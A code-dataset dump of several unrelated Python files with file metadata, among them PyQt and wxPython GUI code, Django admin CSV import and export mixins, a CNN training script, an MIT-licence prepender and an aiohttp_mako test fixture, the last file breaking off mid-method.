self.bt_selecionar.setFocusPolicy(QtCore.Qt.NoFocus) self.bt_selecionar.setContextMenuPolicy(QtCore.Qt.ActionsContextMenu) self.bt_selecionar.setStyleSheet("QPushButton {\n" "background-color: #1E87F0;\n" "color: #FFF\n" " }\n" "QPushButton:hover{\n" "background-color: #40a286\n" "}") self.bt_selecionar.setIconSize(QtCore.QSize(75, 35)) self.bt_selecionar.setObjectName("bt_selecionar") self.bt_refresh = QtWidgets.QPushButton(Frame) self.bt_refresh.setGeometry(QtCore.QRect(1010, 60, 30, 31)) font = QtGui.QFont() font.setFamily("Arial") self.bt_refresh.setFont(font) self.bt_refresh.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) self.bt_refresh.setFocusPolicy(QtCore.Qt.NoFocus) self.bt_refresh.setContextMenuPolicy(QtCore.Qt.NoContextMenu) self.bt_refresh.setText("") icon = QtGui.QIcon() icon.addPixmap(QtGui.QPixmap("Imagens/refresh.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.bt_refresh.setIcon(icon) self.bt_refresh.setObjectName("bt_refresh") self.tx_busca = QtWidgets.QLineEdit(Frame) self.tx_busca.setGeometry(QtCore.QRect(190, 60, 791, 31)) font = QtGui.QFont() font.setFamily("Arial") self.tx_busca.setFont(font) self.tx_busca.setFocusPolicy(QtCore.Qt.ClickFocus) self.tx_busca.setStyleSheet("QLineEdit {\n" "color: #000\n" "}\n" "") self.tx_busca.setObjectName("tx_busca") self.cb_produtos = QtWidgets.QComboBox(Frame) self.cb_produtos.setGeometry(QtCore.QRect(10, 60, 171, 31)) self.cb_produtos.setFocusPolicy(QtCore.Qt.StrongFocus) self.cb_produtos.setStyleSheet("QComboBox{\n" "background: #fff;\n" "color: #000;\n" "font: 13px \"Arial\" ;\n" "text-transform: uppercase\n" "}\n" "QComboBox:Focus {\n" "border: 1px solid red;\n" "}\n" " QComboBox::drop-down {\n" " subcontrol-origin: padding;\n" " subcontrol-position: top right;\n" " width: 25px;\n" " border-left-width: 1px;\n" " border-left-color: darkgray;\n" " border-left-style: solid; /* just a single line */\n" " border-top-right-radius: 3px; /* same radius as the QComboBox */\n" " border-bottom-right-radius: 3px;\n" " }\n" "QComboBox::down-arrow {\n" " image: url(\"Imagens/down.png\");\n" " }\n" "") self.cb_produtos.setObjectName("cb_produtos") self.cb_produtos.addItem("") self.bt_busca = QtWidgets.QPushButton(Frame) self.bt_busca.setGeometry(QtCore.QRect(980, 60, 30, 31)) font = QtGui.QFont() font.setFamily("Arial") self.bt_busca.setFont(font) self.bt_busca.setCursor(QtGui.QCursor(QtCore.Qt.PointingHandCursor)) self.bt_busca.setFocusPolicy(QtCore.Qt.NoFocus) self.bt_busca.setContextMenuPolicy(QtCore.Qt.NoContextMenu) self.bt_busca.setText("") icon1 = QtGui.QIcon() icon1.addPixmap(QtGui.QPixmap("Imagens/search.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) self.bt_busca.setIcon(icon1) self.bt_busca.setObjectName("bt_busca") self.retranslateUi(Frame) QtCore.QMetaObject.connectSlotsByName(Frame) def retranslateUi(self, Frame): _translate = QtCore.QCoreApplication.translate Frame.setWindowTitle(_translate("Frame", "Lista de Produtos")) self.lb_tituloClientes_2.setText(_translate("Frame", "PRODUTOS")) self.bt_inserir.setText(_translate("Frame", "NOVO PRODUTO")) item = self.tb_produtos.verticalHeaderItem(0) item.setText(_translate("Frame", "1")) item = self.tb_produtos.horizontalHeaderItem(0) item.setText(_translate("Frame", "ID")) item = self.tb_produtos.horizontalHeaderItem(1) item.setText(_translate("Frame", "CODIGO DE BARRAS")) item = self.tb_produtos.horizontalHeaderItem(2) item.setText(_translate("Frame", "ESTOQUE")) item = self.tb_produtos.horizontalHeaderItem(3) item.setText(_translate("Frame", "DESCRIÇÃO")) item = self.tb_produtos.horizontalHeaderItem(4) item.setText(_translate("Frame", "MARCA")) item = self.tb_produtos.horizontalHeaderItem(5) item.setText(_translate("Frame", "PREÇO")) item = self.tb_produtos.horizontalHeaderItem(6) item.setText(_translate("Frame", "FORNECEDOR")) item = self.tb_produtos.horizontalHeaderItem(7) item.setText(_translate("Frame", "CATEGORIA")) self.bt_selecionar.setText(_translate("Frame", "SELECIONAR")) self.bt_refresh.setToolTip(_translate("Frame", "ATUALIZAR TABELA")) self.tx_busca.setPlaceholderText(_translate("Frame", "PROCURAR POR...")) self.cb_produtos.setItemText(0, _translate("Frame", "SELECIONE")) self.bt_busca.setToolTip(_translate("Frame", "BUSCAR"))

43.537815

102

0.687898

1,196

10,362

5.829431

0.2199

0.060241

0.082329

0.025818

0.3821

0.271084

0.203385

0.171543

0.075445

0.044177

0

0.027338

0.177475

10,362

237

103

43.721519

0.790684

0.018626

0

0.254464

1

0

0.16729

0.011317

0

1

0.008929

false

0

0.004464

0

0.017857

0

null

0

1

0

null

0

1

a1c62a23cf4d05075c2ce8fd742ceaebabdfcf8f

7,826

py

Python

zyc/zyc.py

Sizurka/zyc

5ed4158617293a613b52cb6197ca601a1b491660

[ "MIT" ]

null

zyc/zyc.py

Sizurka/zyc

5ed4158617293a613b52cb6197ca601a1b491660

[ "MIT" ]

null

zyc/zyc.py

Sizurka/zyc

5ed4158617293a613b52cb6197ca601a1b491660

[ "MIT" ]

null

# -*- coding: utf-8 -*- # MIT license # # Copyright (C) 2019 by XESS Corp. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. """ GUI for finding/displaying parts and footprints. """ from __future__ import print_function import os import wx from skidl import ( KICAD, SchLib, footprint_cache, footprint_search_paths, lib_search_paths, skidl_cfg, ) from .common import * from .pckg_info import __version__ from .skidl_footprint_search import FootprintSearchPanel from .skidl_part_search import PartSearchPanel APP_TITLE = "zyc: SKiDL Part/Footprint Search" APP_EXIT = 1 SHOW_HELP = 3 SHOW_ABOUT = 4 PART_SEARCH_PATH = 5 FOOTPRINT_SEARCH_PATH = 6 REFRESH = 7 class AppFrame(wx.Frame): def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) self.panel = PartFootprintSearchPanel(self) box = wx.BoxSizer(wx.VERTICAL) box.Add(self.panel, proportion=1, flag=wx.ALL | wx.EXPAND, border=SPACING) self.SetSizer(box) # Keep border same color as background of panel. self.SetBackgroundColour(self.panel.GetBackgroundColour()) self.InitMenus() self.SetTitle(APP_TITLE) self.Center() self.Show(True) self.Fit() def InitMenus(self): # Top menu. menuBar = wx.MenuBar() # File submenu containing quit button. fileMenu = wx.Menu() menuBar.Append(fileMenu, "&File") quitMenuItem = wx.MenuItem(fileMenu, APP_EXIT, "Quit\tCtrl+Q") fileMenu.Append(quitMenuItem) self.Bind(wx.EVT_MENU, self.OnQuit, id=APP_EXIT) # Search submenu containing search and copy buttons. srchMenu = wx.Menu() menuBar.Append(srchMenu, "&Search") partSrchPathItem = wx.MenuItem( srchMenu, PART_SEARCH_PATH, "Set part search path...\tCtrl+P" ) srchMenu.Append(partSrchPathItem) self.Bind(wx.EVT_MENU, self.OnPartSearchPath, id=PART_SEARCH_PATH) footprintSrchPathItem = wx.MenuItem( srchMenu, FOOTPRINT_SEARCH_PATH, "Set footprint search path...\tCtrl+F" ) srchMenu.Append(footprintSrchPathItem) self.Bind(wx.EVT_MENU, self.OnFootprintSearchPath, id=FOOTPRINT_SEARCH_PATH) refreshItem = wx.MenuItem(srchMenu, REFRESH, "Refresh part + footprint paths") srchMenu.Append(refreshItem) self.Bind(wx.EVT_MENU, self.OnRefresh, id=REFRESH) # Help menu containing help and about buttons. helpMenu = wx.Menu() menuBar.Append(helpMenu, "&Help") helpMenuItem = wx.MenuItem(helpMenu, SHOW_HELP, "Help\tCtrl+H") helpMenu.Append(helpMenuItem) aboutMenuItem = wx.MenuItem(helpMenu, SHOW_ABOUT, "About App\tCtrl+A") helpMenu.Append(aboutMenuItem) self.Bind(wx.EVT_MENU, self.ShowHelp, id=SHOW_HELP) self.Bind(wx.EVT_MENU, self.ShowAbout, id=SHOW_ABOUT) self.SetMenuBar(menuBar) def OnPartSearchPath(self, event): # Update search path for parts. dlg = TextEntryDialog( self, title="Set Part Search Path", caption="Part Search Path", tip="Enter {sep}-separated list of directories in which to search for parts.".format( sep=os.pathsep ), ) dlg.Center() dlg.SetValue(os.pathsep.join(lib_search_paths[KICAD])) if dlg.ShowModal() == wx.ID_OK: lib_search_paths[KICAD] = dlg.GetValue().split(os.pathsep) skidl_cfg.store() # Stores updated lib search path in file. dlg.Destroy() def OnFootprintSearchPath(self, event): # Update search path for footprints. dlg = TextEntryDialog( self, title="Set Footprint Search Path", caption="Footprint Search Path", tip="Enter {sep}-separated list of directories in which to search for fp-lib-table file.".format( sep=os.pathsep ), ) dlg.Center() dlg.SetValue(os.pathsep.join(footprint_search_paths[KICAD])) if dlg.ShowModal() == wx.ID_OK: footprint_search_paths[KICAD] = dlg.GetValue().split(os.pathsep) skidl_cfg.store() # Stores updated search path in file. dlg.Destroy() def OnRefresh(self, event): SchLib.reset() footprint_cache.reset() def ShowHelp(self, e): Feedback( """ 1. Enter keywords/regex in the part search box. 2. Matching parts will appear in the Library/Part table. 3. Select a row in the Library/Part table to display part info. 4. Enter keywords/regex in the footprint search box. 5. Matching footprints will appear in the Library/Footprint table. 6. Select a row in the Library/Footprint table to display the footprint. 7. a) Click the Copy button in the Part Search panel to copy the part & footprint to the clipboard, -OR- b) Click the Copy button in the Footprint Search panel to copy the footprint to the clipboard, -OR- c) Deselect (ctrl-click) the footprint row and click the Copy button in the Part Search panel to copy just the part to the clipboard. 8. Paste the clipboard contents into your SKiDL code. General: * Drag sashes to resize individual panels. * Double-click column headers to sort table contents. * Ctrl-click to select/deselect table cells. """, "Help", ) def ShowAbout(self, e): Feedback( APP_TITLE + " " + __version__ + """ (c) 2019 XESS Corp. https://github.com/xesscorp/skidl MIT License """, "About", ) def OnQuit(self, e): self.Close() class PartFootprintSearchPanel(wx.SplitterWindow): def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) # Subpanel for part search panel. self.part_panel = add_border( add_title(PartSearchPanel(self), "Part Search", wx.TOP), wx.BOTTOM ) # self.part_panel = box_it(PartSearchPanel(self), "Part Search") # Subpanel for footprint search. self.footprint_panel = add_border( add_title(FootprintSearchPanel(self), "Footprint Search", wx.TOP), wx.TOP ) # self.footprint_panel = box_it(FootprintSearchPanel(self), "Footprint Search") # Split subpanels top/bottom. self.SplitHorizontally(self.part_panel, self.footprint_panel, sashPosition=0) self.SetSashGravity(0.5) # Both subpanels expand/contract equally. self.Update() def main(): # import wx.lib.inspection app = wx.App() AppFrame(None) # wx.lib.inspection.InspectionTool().Show() app.MainLoop() if __name__ == "__main__": main()

32.882353

109

0.662663

985

7,826

5.153299

0.299492

0.047281

0.016548

0.015366

0.246651

0.184988

0.135934

0.124507

0.110323

0

0.004565

0.244314

7,826

237

110

33.021097

0.853568

0.224508

0

0.164179

0

0.109073

0

null

0

0.059701

null

0.156716

0

null

0

null

0

1

0

1

a1c6e9a43d6622094c50a6e5fb6886a83b2efa97

516

py

Python

train/ip.py

VCG/gp

cd106b604f8670a70add469d41180e34df3b1068

[ "MIT" ]

null

train/ip.py

VCG/gp

cd106b604f8670a70add469d41180e34df3b1068

[ "MIT" ]

null

train/ip.py

VCG/gp

cd106b604f8670a70add469d41180e34df3b1068

[ "MIT" ]

null

import cPickle as pickle import os; import sys; sys.path.append('..') import gp import gp.nets as nets PATCH_PATH = ('iplb') X_train, y_train, X_test, y_test = gp.Patch.load_rgb(PATCH_PATH) X_train = X_train[:,:-1,:,:] X_test = X_test[:,:-1,:,:] cnn = nets.RGNetPlus() cnn = cnn.fit(X_train, y_train) test_accuracy = cnn.score(X_test, y_test) print test_accuracy # store CNN sys.setrecursionlimit(1000000000) with open(os.path.expanduser('~/Projects/gp/nets/IP_FULL.p'), 'wb') as f: pickle.dump(cnn, f, -1)

21.5

73

0.705426

90

516

3.844444

0.422222

0.069364

0.040462

0.069364

0

0.028761

0.124031

516

23

74

22.434783

0.736726

0.017442

0

0.071287

0.055446

0

null

0

0.266667

null

0.066667

0

null

0

null

0

1

0

1

a1d3d2bbc91fe562ff03d1024258dfe9a2092f42

4,237

py

Python

main/admin.py

japmeet01/fplmanager-website

c7a533f49acb04ee56876dff8759bb68468b0592

[ "MIT" ]

5

2020-02-07T23:24:05.000Z

2021-07-23T23:37:41.000Z

main/admin.py

japmeet01/fplmanager-website

c7a533f49acb04ee56876dff8759bb68468b0592

[ "MIT" ]

11

2020-01-13T10:02:33.000Z

2022-02-10T14:42:36.000Z

main/admin.py

japmeet01/fplmanager-website

c7a533f49acb04ee56876dff8759bb68468b0592

[ "MIT" ]

11

2020-02-07T23:24:09.000Z

2020-10-16T14:57:54.000Z

from django.contrib import admin from django.http import HttpResponse from django.urls import path from django.shortcuts import render, HttpResponse, redirect from django import forms import os import csv from io import TextIOWrapper, StringIO from .models import Player, Team, Usage, XgLookup class CsvImportForm(forms.Form): csv_file = forms.FileField() class NoLoggingMixin: def log_addition(self, *args): return def log_change(self, *args): return def log_deletion(self, *args): return class ExportCsvMixin: def export_as_csv(self, request, queryset): meta = self.model._meta field_names = [field.name for field in meta.fields] response = HttpResponse(content_type='text/csv') response['Content-Disposition'] = 'attachment; filename={}.csv'.format(meta) writer = csv.writer(response) writer.writerow(field_names) for obj in queryset: row = writer.writerow([getattr(obj, field) for field in field_names]) return response def export_delete_as_csv(self, request, queryset): meta = self.model._meta field_names = [field.name for field in meta.fields] response = HttpResponse(content_type='text/csv') response['Content-Disposition'] = 'attachment; filename={}.csv'.format(meta) writer = csv.writer(response) writer.writerow(field_names) for obj in queryset: row = writer.writerow([getattr(obj, field) for field in field_names]) obj.delete() return response export_as_csv.short_description = "Export Selected" export_delete_as_csv.short_description = "Export and Delete Selected" class UploadCsvMixin: def get_urls(self): urls = super().get_urls() my_urls = [ path('import-csv/', self.import_csv) ] return my_urls + urls def import_csv(self, request): if request.method == 'POST': csv_file = TextIOWrapper(request.FILES['csv_file'].file, encoding=request.encoding) extension = os.path.splitext(request.FILES['csv_file'].name)[1] if extension == '.csv': reader = csv.reader(csv_file) headers = next(reader) model_fields = [m.name for m in self.model._meta.fields if m.name != 'updated'] # if set(headers) == set(model_fields): input_data = [dict(zip(headers, row)) for row in reader] for i in input_data: t = self.model() [setattr(t, k, v) for k, v in i.items()] t.save() # else: # self.message_user(request, "Bad headers - unable to import selected file. Expected headers: '{expected}' Received headers: '{actual}'".format( # expected=model_fields, # actual=headers # ), level='ERROR') # return redirect("..") else: self.message_user(request, 'Incorrect file type', level='ERROR') return redirect('..') self.message_user(request, "Your csv file has been imported") return redirect("..") form = CsvImportForm() payload = {"form": form} return render( request, "custom_admin/csv_form.html", payload ) @admin.register(Player) class PlayerAdmin(NoLoggingMixin, ExportCsvMixin, admin.ModelAdmin): readonly_fields = ('updated',) actions = ['export_as_csv'] @admin.register(Team) class TeamAdmin(NoLoggingMixin, ExportCsvMixin, admin.ModelAdmin): readonly_fields = ('updated',) actions = ['export_as_csv'] @admin.register(Usage) class UsageAdmin(NoLoggingMixin, ExportCsvMixin, admin.ModelAdmin): readonly_fields = ('updated',) actions = ['export_as_csv', 'export_delete_as_csv'] @admin.register(XgLookup) class XgLookupAdmin(NoLoggingMixin, UploadCsvMixin, ExportCsvMixin, admin.ModelAdmin): change_list_template = 'custom_admin/models_changelist.html' readonly_fields = ('updated',) actions = ['export_as_csv']

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0.618126

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5.466809

0.271949

0.017626

0.025852

0.04387

0.406189

0.349001

0.333725

0

0.000326

0.275903

4,237

134

165

31.619403

0.831812

0.068917

0

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0.01549

0

1

0.078652

false

0

0.157303

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0.539326

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null

0

null

0

1

0

1

a1e396a0fe0bfe84f4e348a5cd7eab9d9e2a1638

2,962

py

Python

filemanipulator.py

paulkramme/mit-license-adder

1865413c1932a3108883dc2b77c67608d56be275

[ "MIT" ]

null

filemanipulator.py

paulkramme/mit-license-adder

1865413c1932a3108883dc2b77c67608d56be275

[ "MIT" ]

null

filemanipulator.py

paulkramme/mit-license-adder

1865413c1932a3108883dc2b77c67608d56be275

[ "MIT" ]

null

#!/usr/bin/python2 import tempfile import sys import datetime mit_license = ("""\ /* MIT License Copyright (c) 2016 Paul Kramme Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ """) class FileModifierError(Exception): pass class FileModifier(object): def __init__(self, fname): self.__write_dict = {} self.__filename = fname self.__tempfile = tempfile.TemporaryFile() with open(fname, 'rb') as fp: for line in fp: self.__tempfile.write(line) self.__tempfile.seek(0) def write(self, s, line_number = 'END'): if line_number != 'END' and not isinstance(line_number, (int, float)): raise FileModifierError("Line number %s is not a valid number" % line_number) try: self.__write_dict[line_number].append(s) except KeyError: self.__write_dict[line_number] = [s] def writeline(self, s, line_number = 'END'): self.write('%s\n' % s, line_number) def writelines(self, s, line_number = 'END'): for ln in s: self.writeline(s, line_number) def __popline(self, index, fp): try: ilines = self.__write_dict.pop(index) for line in ilines: fp.write(line) except KeyError: pass def close(self): self.__exit__(None, None, None) def __enter__(self): return self def __exit__(self, type, value, traceback): with open(self.__filename,'w') as fp: for index, line in enumerate(self.__tempfile.readlines()): self.__popline(index, fp) fp.write(line) for index in sorted(self.__write_dict): for line in self.__write_dict[index]: fp.write(line) self.__tempfile.close() filename = sys.argv[1] #license = sys.argv[1] print "Licenseadder by Paul Kramme" with FileModifier(filename) as fp: fp.writeline(mit_license, 0)

32.911111

89

0.668467

402

2,962

4.766169

0.402985

0.057411

0.04071

0.023486

0.052192

0

0.004041

0.248143

2,962

89

90

33.280899

0.856309

0.012829

0

0.126761

0

0.396304

0

null

0.028169

0.042254

null

0.014085

0

null

0

null

0

1

0

1

a1efd6d129721046eb1d2381c5f7945eeeb81f90

431

py

Python

tests/conftest.py

asvetlov/aiohttp_mako

8fb66bd35b8cb4a2fa91e33f3dff918e4798a15a

[ "Apache-2.0" ]

24

2016-12-25T16:24:45.000Z

2020-04-07T14:39:28.000Z

tests/conftest.py

jettify/aiohttp_mako

8fb66bd35b8cb4a2fa91e33f3dff918e4798a15a

[ "Apache-2.0" ]

168

2016-11-12T20:50:34.000Z

2022-03-18T02:09:08.000Z

tests/conftest.py

jettify/aiohttp_mako

8fb66bd35b8cb4a2fa91e33f3dff918e4798a15a

[ "Apache-2.0" ]

9

2016-12-13T10:48:26.000Z

2020-09-17T10:42:40.000Z

import sys import pytest import aiohttp_mako from aiohttp import web @pytest.fixture def app(): app = web.Application() lookup = aiohttp_mako.setup(app, input_encoding='utf-8', output_encoding='utf-8', default_filters=['decode.utf8']) tplt = "<html><body><h1>${head}</h1>${text}</body></html>" lookup.put_string('tplt.html', tplt) return app

22.684211

64

0.584687

52

431

4.730769

0.596154

0.089431

0.097561

0

0.015974

0.273782

431

18

65

23.944444

0.769968

0

0.183295

0.113689

0

1

0.076923

false

0

0.307692

0

0.461538

0

null

0

null

0

1

0

1

a1fbde784a20640d80d64437aa8dd036428fff1c

15,105

py

Python

CCMtask/ccm.py

yyFFans/DemoPractises

e0e08413efc598489401c8370f4c7762b3493851

[ "MIT" ]

null

CCMtask/ccm.py

yyFFans/DemoPractises

e0e08413efc598489401c8370f4c7762b3493851

[ "MIT" ]

null

CCMtask/ccm.py

yyFFans/DemoPractises

e0e08413efc598489401c8370f4c7762b3493851

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'ccm.ui' # # Created by: PyQt5 UI code generator 5.13.2 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_CCMTask(object): def setupUi(self, CCMTask): CCMTask.setObjectName("CCMTask") CCMTask.resize(712, 585) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Ignored, QtWidgets.QSizePolicy.Ignored) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(CCMTask.sizePolicy().hasHeightForWidth()) CCMTask.setSizePolicy(sizePolicy) CCMTask.setAutoFillBackground(False) self.centralwidget = QtWidgets.QWidget(CCMTask) self.centralwidget.setObjectName("centralwidget") self.issueBox = QtWidgets.QGroupBox(self.centralwidget) self.issueBox.setGeometry(QtCore.QRect(10, 110, 691, 55)) self.issueBox.setObjectName("issueBox") self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.issueBox) self.horizontalLayout_3.setObjectName("horizontalLayout_3") self.ARDTSEdit = QtWidgets.QLineEdit(self.issueBox) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.ARDTSEdit.sizePolicy().hasHeightForWidth()) self.ARDTSEdit.setSizePolicy(sizePolicy) self.ARDTSEdit.setTabletTracking(True) self.ARDTSEdit.setObjectName("ARDTSEdit") self.horizontalLayout_3.addWidget(self.ARDTSEdit) spacerItem = QtWidgets.QSpacerItem(70, 20, QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Minimum) self.horizontalLayout_3.addItem(spacerItem) self.issueInfoEdit = QtWidgets.QLineEdit(self.issueBox) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.issueInfoEdit.sizePolicy().hasHeightForWidth()) self.issueInfoEdit.setSizePolicy(sizePolicy) self.issueInfoEdit.setTabletTracking(True) self.issueInfoEdit.setObjectName("issueInfoEdit") self.horizontalLayout_3.addWidget(self.issueInfoEdit) self.label = QtWidgets.QLabel(self.issueBox) self.label.setText("") self.label.setObjectName("label") self.horizontalLayout_3.addWidget(self.label) self.issueDetailBox = QtWidgets.QGroupBox(self.centralwidget) self.issueDetailBox.setGeometry(QtCore.QRect(10, 170, 691, 401)) self.issueDetailBox.setCursor(QtGui.QCursor(QtCore.Qt.ArrowCursor)) self.issueDetailBox.setTabletTracking(True) self.issueDetailBox.setObjectName("issueDetailBox") self.deletedParamsBox = QtWidgets.QGroupBox(self.issueDetailBox) self.deletedParamsBox.setGeometry(QtCore.QRect(500, 20, 161, 271)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.deletedParamsBox.sizePolicy().hasHeightForWidth()) self.deletedParamsBox.setSizePolicy(sizePolicy) self.deletedParamsBox.setObjectName("deletedParamsBox") self.deletedParamsEdit = QtWidgets.QTextEdit(self.deletedParamsBox) self.deletedParamsEdit.setGeometry(QtCore.QRect(10, 20, 141, 231)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.deletedParamsEdit.sizePolicy().hasHeightForWidth()) self.deletedParamsEdit.setSizePolicy(sizePolicy) self.deletedParamsEdit.setObjectName("deletedParamsEdit") self.opkeysBox_2 = QtWidgets.QGroupBox(self.issueDetailBox) self.opkeysBox_2.setGeometry(QtCore.QRect(10, 210, 153, 182)) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.opkeysBox_2.sizePolicy().hasHeightForWidth()) self.opkeysBox_2.setSizePolicy(sizePolicy) self.opkeysBox_2.setObjectName("opkeysBox_2") self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.opkeysBox_2) self.verticalLayout_2.setObjectName("verticalLayout_2") self.opkey1Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey1Edit_2.setTabletTracking(True) self.opkey1Edit_2.setText("") self.opkey1Edit_2.setPlaceholderText("") self.opkey1Edit_2.setObjectName("opkey1Edit_2") self.verticalLayout_2.addWidget(self.opkey1Edit_2) self.opkey2Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey2Edit_2.setTabletTracking(True) self.opkey2Edit_2.setText("") self.opkey2Edit_2.setPlaceholderText("") self.opkey2Edit_2.setObjectName("opkey2Edit_2") self.verticalLayout_2.addWidget(self.opkey2Edit_2) self.opkey3Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey3Edit_2.setTabletTracking(True) self.opkey3Edit_2.setText("") self.opkey3Edit_2.setPlaceholderText("") self.opkey3Edit_2.setObjectName("opkey3Edit_2") self.verticalLayout_2.addWidget(self.opkey3Edit_2) self.opkey4Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey4Edit_2.setTabletTracking(True) self.opkey4Edit_2.setText("") self.opkey4Edit_2.setPlaceholderText("") self.opkey4Edit_2.setObjectName("opkey4Edit_2") self.verticalLayout_2.addWidget(self.opkey4Edit_2) self.opkey5Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey5Edit_2.setTabletTracking(True) self.opkey5Edit_2.setText("") self.opkey5Edit_2.setPlaceholderText("") self.opkey5Edit_2.setObjectName("opkey5Edit_2") self.verticalLayout_2.addWidget(self.opkey5Edit_2) self.opkey6Edit_2 = QtWidgets.QLineEdit(self.opkeysBox_2) self.opkey6Edit_2.setTabletTracking(True) self.opkey6Edit_2.setText("") self.opkey6Edit_2.setPlaceholderText("") self.opkey6Edit_2.setClearButtonEnabled(False) self.opkey6Edit_2.setObjectName("opkey6Edit_2") self.verticalLayout_2.addWidget(self.opkey6Edit_2) self.splitter_2 = QtWidgets.QSplitter(self.issueDetailBox) self.splitter_2.setGeometry(QtCore.QRect(10, 20, 153, 182)) self.splitter_2.setOrientation(QtCore.Qt.Vertical) self.splitter_2.setObjectName("splitter_2") self.opkeysBox = QtWidgets.QGroupBox(self.splitter_2) sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.opkeysBox.sizePolicy().hasHeightForWidth()) self.opkeysBox.setSizePolicy(sizePolicy) self.opkeysBox.setObjectName("opkeysBox") self.verticalLayout = QtWidgets.QVBoxLayout(self.opkeysBox) self.verticalLayout.setObjectName("verticalLayout") self.opkey1Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey1Edit.setTabletTracking(True) self.opkey1Edit.setText("") self.opkey1Edit.setObjectName("opkey1Edit") self.verticalLayout.addWidget(self.opkey1Edit) self.opkey2Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey2Edit.setTabletTracking(True) self.opkey2Edit.setText("") self.opkey2Edit.setObjectName("opkey2Edit") self.verticalLayout.addWidget(self.opkey2Edit) self.opkey3Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey3Edit.setTabletTracking(True) self.opkey3Edit.setText("") self.opkey3Edit.setObjectName("opkey3Edit") self.verticalLayout.addWidget(self.opkey3Edit) self.opkey4Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey4Edit.setTabletTracking(True) self.opkey4Edit.setText("") self.opkey4Edit.setObjectName("opkey4Edit") self.verticalLayout.addWidget(self.opkey4Edit) self.opkey5Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey5Edit.setTabletTracking(True) self.opkey5Edit.setText("") self.opkey5Edit.setObjectName("opkey5Edit") self.verticalLayout.addWidget(self.opkey5Edit) self.opkey6Edit = QtWidgets.QLineEdit(self.opkeysBox) self.opkey6Edit.setTabletTracking(True) self.opkey6Edit.setText("") self.opkey6Edit.setClearButtonEnabled(False) self.opkey6Edit.setObjectName("opkey6Edit") self.verticalLayout.addWidget(self.opkey6Edit) self.splitter = QtWidgets.QSplitter(self.issueDetailBox) 